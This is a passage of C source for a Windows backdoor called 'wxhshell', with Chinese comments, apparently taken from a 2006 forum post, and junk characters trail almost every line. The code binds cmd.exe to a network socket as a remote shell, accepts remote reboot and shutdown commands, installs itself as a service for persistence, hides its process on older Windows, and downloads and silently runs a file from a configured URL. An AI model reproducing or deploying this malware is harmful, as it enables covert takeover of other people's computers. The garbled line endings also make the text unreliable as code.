  else { /xg1i1Et  
*Ta {  
    switch(cmd[0]) { u<\Sf"fs  
  2zsDb'r  
  // 帮助 =?M{B1;H  
  case '?': { ?YFSK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o|KmKC n>  
    break; Fyz1LOH[X  
  } FLumI-se!  
  // 安装 m 2%  
  case 'i': { 41C6ey  
    if(Install()) gf;B&MM6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fob.?ID-;  
    else % Q93n {?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )\e0L/K@  
    break; LK|rLoia:  
    } xs)SKG*  
  // 卸载 bT:;^eG"  
  case 'r': { c~Y  g(  
    if(Uninstall()) KWVl7Kw#e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -<\hcV`&  
    else rgv$MnG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wsw/ D  
    break; 6 #jpA.;  
    } cW{Bsr   
  // 显示 wxhshell 所在路径 sVS),9\}  
  case 'p': { a{I(Qh!}  
    char svExeFile[MAX_PATH]; (K kqyrb  
    strcpy(svExeFile,"\n\r"); s|Vbc@t  
      strcat(svExeFile,ExeFile); Y0Rk:Njc  
        send(wsh,svExeFile,strlen(svExeFile),0); St3/mDtH  
    break; !J }Q%i  
    } H"JzTo8u  
  // 重启 F @!9rl'  
  case 'b': { meD?<g4n~"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s9b+uUt%  
    if(Boot(REBOOT)) e>HdJ"S`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ti ic>j\D  
    else { . P! pC  
    closesocket(wsh); p ^I#9(PT  
    ExitThread(0); ]1bNcq2I  
    } x]"N:t  
    break; L# .vbf  
    } Ap(>mUs!i  
  // 关机 CDFX>>N  
  case 'd': { ;3O=lo:$~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^hwTnW9Z1:  
    if(Boot(SHUTDOWN)) >s%m\"|oh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /n9,XD&)  
    else { >@|XY<  
    closesocket(wsh); %c&< {D}r  
    ExitThread(0); 'oM&Ar$  
    } /pgn?e'lk  
    break; yMe;  
    } DUs0L\  
  // 获取shell ,h9N,bIQg  
  case 's': { Y7@$#/1  
    CmdShell(wsh); ]%6XE)  
    closesocket(wsh); <`=(Ui$fD  
    ExitThread(0); O&PrO+&  
    break; Z-'xJq  
  } "&TN}SBW  
  // 退出 wn>?r ?KIB  
  case 'x': { {dNWQE*\c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )WF*fcx{  
    CloseIt(wsh); KZsJ_t++!W  
    break; K1|xatx1V  
    } ?wj1t!83  
  // 离开 L%[b6<  
  case 'q': { &_<!zJ;Hn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^14a[ta/'  
    closesocket(wsh); zqGo7;;#  
    WSACleanup(); m^YYdyn]M  
    exit(1); $mDlS  
    break; OO?BN!  
        } _Dg|Iz,Uh  
  } Pu0O6@Rg  
  } I(0 *cWO  
5tu 4uYp;  
  // 提示信息 Ov~>* [  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qa)Qf,`  
} 9d >AnTf&H  
  } :LMLY<8>9  
!Im{-t  
  return; Ub*O*nre  
} CW;=q[+w  
\XgpwvO".  
// shell模块句柄 >0jg2vqt  
int CmdShell(SOCKET sock) {wVJv1*l  
{ &/]g@^h9  
STARTUPINFO si; L=-v>YL+  
ZeroMemory(&si,sizeof(si)); KFn[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; drf?7%v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  jf~-;2  
PROCESS_INFORMATION ProcessInfo; @6z]Xb  
char cmdline[]="cmd"; 6 #Afj0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {);<2]o| 6  
  return 0; ~e<h2/Xc  
}  C\5"Kb  
:x@j)&  
// 自身启动模式 ZE0D=  
int StartFromService(void) =MokbK2  
{ GMYfcZ/,K  
typedef struct i.6+ CA  
{ ~{gV`nm=J  
  DWORD ExitStatus; Kv>P+I'|r  
  DWORD PebBaseAddress; IO]%AL(.;  
  DWORD AffinityMask; +OX:T) 4h6  
  DWORD BasePriority; z!:%Hbh=  
  ULONG UniqueProcessId; L{AfrgN  
  ULONG InheritedFromUniqueProcessId; _';oT*#  
}   PROCESS_BASIC_INFORMATION; ,e5#wz  
! p|d[  
PROCNTQSIP NtQueryInformationProcess; md`"zV  
`_5{: 9N$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wYLJEuS|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gOKF%Ej31T  
s^ R i g[  
  HANDLE             hProcess; +*ZF52hy|  
  PROCESS_BASIC_INFORMATION pbi; NE2P "mY  
ubQZTAx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }  cQ` L  
  if(NULL == hInst ) return 0; c*HWH$kB  
MWron_xg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z~O:w'(g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x72T5.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $@Kwsoh'  
W]= $0'  
  if (!NtQueryInformationProcess) return 0; Y>2kOE  
wDz}32wB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ! 4{T<s;q  
  if(!hProcess) return 0; "$rmy>d  
<WRrB `nO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f{eMh47 NC  
U *']7-  
  CloseHandle(hProcess); k86j& .m_  
= & =#G3f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y?@(%PTp  
if(hProcess==NULL) return 0; ?0k4l8R  
brt1Kvu8(  
HMODULE hMod; TuX9:Q  
char procName[255]; Rt2<F-gY  
unsigned long cbNeeded; k9vzxZ%s:  
m6^n8%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <maY S2  
\zGmZZ  
  CloseHandle(hProcess); f?|cQ[#t!\  
z*B-`i.  
if(strstr(procName,"services")) return 1; // 以服务启动 F>/"If#  
iW,fKXuo&y  
  return 0; // 注册表启动 qrZ*r{3  
} >* >}d%  
RDWUy (iX  
// 主模块 ]'!$T72  
int StartWxhshell(LPSTR lpCmdLine) 1O@ D  
{ 6A,-?W'\  
  SOCKET wsl; sbV {RSl  
BOOL val=TRUE; 5T- N\)@  
  int port=0; P{gy/'PH,  
  struct sockaddr_in door; C3>`e3v  
=#|K-X0d=  
  if(wscfg.ws_autoins) Install(); ~s4o1^6L  
:#&Y  
port=atoi(lpCmdLine); ;>Q.r{P  
8-cCWo c  
if(port<=0) port=wscfg.ws_port; ZI/Ia$O  
0\2#(^  
  WSADATA data; T5b*Ia  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /Dk`vn2eN  
1<TB{}b Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /<-@8CC<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X[r\ Qa  
  door.sin_family = AF_INET; '|^<|S_+K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }Z Nyd  
  door.sin_port = htons(port); ]p5]n*0X  
h1+lVAQbT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E[kf%\  
closesocket(wsl); (Y>|P  
return 1; pRrokYM d  
} wseb]=U  
k1HVvMD<  
  if(listen(wsl,2) == INVALID_SOCKET) { dD.;P=AP  
closesocket(wsl); "Q <  
return 1; E\lel4ai  
} lbUUf}   
  Wxhshell(wsl); nOj0"c  
  WSACleanup(); # )]L3H<  
YR/%0^M'0  
return 0; 6h%_\I.Z[[  
/_.1f|{B  
} Bq4^nDK  
g886RhCe  
// 以NT服务方式启动 I("lGY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g ;To}0H  
{ Kp)H>~cL  
DWORD   status = 0; !bg2(2z  
  DWORD   specificError = 0xfffffff; .qAlPe L:  
$G}!eV 6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d:SLyFD$q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D,sb {N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k^C^.[?  
  serviceStatus.dwWin32ExitCode     = 0; VS ?npH  
  serviceStatus.dwServiceSpecificExitCode = 0; z(g6$Y{  
  serviceStatus.dwCheckPoint       = 0; ~H1 ZQ[  
  serviceStatus.dwWaitHint       = 0; MR`lF-|a|  
hF;TX.Y6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 49d02AU%  
  if (hServiceStatusHandle==0) return; Tw0GG8(c  
9XEP:}5,  
status = GetLastError(); bji^b@ us_  
  if (status!=NO_ERROR)  8PXjdHR  
{ $-ICTp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [JyhzYf\   
    serviceStatus.dwCheckPoint       = 0; o~J~-$T{  
    serviceStatus.dwWaitHint       = 0; q88;{?T1  
    serviceStatus.dwWin32ExitCode     = status; TQ&1!~L*  
    serviceStatus.dwServiceSpecificExitCode = specificError; _(1Shm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); HBp$   
    return; <7 R+p;y  
  } ayK?\srw  
9_ru*j\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !)-)*T  
  serviceStatus.dwCheckPoint       = 0; g;mX{p_@  
  serviceStatus.dwWaitHint       = 0; fjP(r+[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -lqsFaW  
} Wv7hY"  
On*pI37(\  
// 处理NT服务事件,比如:启动、停止 kX)QHNzP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .mwB'Ll  
{ +]dh`8*8>1  
switch(fdwControl) H&_drxUq;L  
{ G%FLt[  
case SERVICE_CONTROL_STOP: S\"#E:A  
  serviceStatus.dwWin32ExitCode = 0; ]21`x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x*7Q  
  serviceStatus.dwCheckPoint   = 0; @/f'i9?oM`  
  serviceStatus.dwWaitHint     = 0; `%ulorS  
  { f@7HVv&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J_`a}ox  
  } aPR XK1  
  return; %|AXVv7IN>  
case SERVICE_CONTROL_PAUSE: VV$4NV&`Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EV.F/W h  
  break; zz* *HwRt  
case SERVICE_CONTROL_CONTINUE: [ @ASAhV^+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &w'1  
  break;  e gdbv  
case SERVICE_CONTROL_INTERROGATE: *VV#o/Q p  
  break; Ouos f1  
}; =;A >1g$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oo-O>M#5  
} KJP}0|[  
qLWM,[Og  
// 标准应用程序主函数 ec3zoKtV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J5"d|i  
{ < 19A=  
_MLbJ  
// 获取操作系统版本 v9 *WM3  
OsIsNt=GetOsVer(); L"Dos +  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dKJ-{LV  
Zgw4[GpL  
  // 从命令行安装 LTWiCI  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^Gwpx +  
&qyXi[vw  
  // 下载执行文件 ?"-1QG  
if(wscfg.ws_downexe) { Ny` =]BA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1EAQ ~S!2  
  WinExec(wscfg.ws_filenam,SW_HIDE); tV"Jh>Z  
} ?XllPnuKt%  
M.3ULt8  
if(!OsIsNt) { JA2oy09G  
// 如果时win9x,隐藏进程并且设置为注册表启动 7KJ%-&L^  
HideProc(); ^@HWw@GA  
StartWxhshell(lpCmdLine); 31 &;3?3>  
} -^ R?O  
else )K!!Zq3;|  
  if(StartFromService()) iiLDl  
  // 以服务方式启动 {M ^5w  
  StartServiceCtrlDispatcher(DispatchTable); K,5_{pj  
else ^I:f4RWo  
  // 普通方式启动 ~A03J:Yc7  
  StartWxhshell(lpCmdLine); /{>_'0  
:j&-Lc  
return 0; `MC5_SG 1  
}
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只看该作者 1 发表于: 2006-10-10
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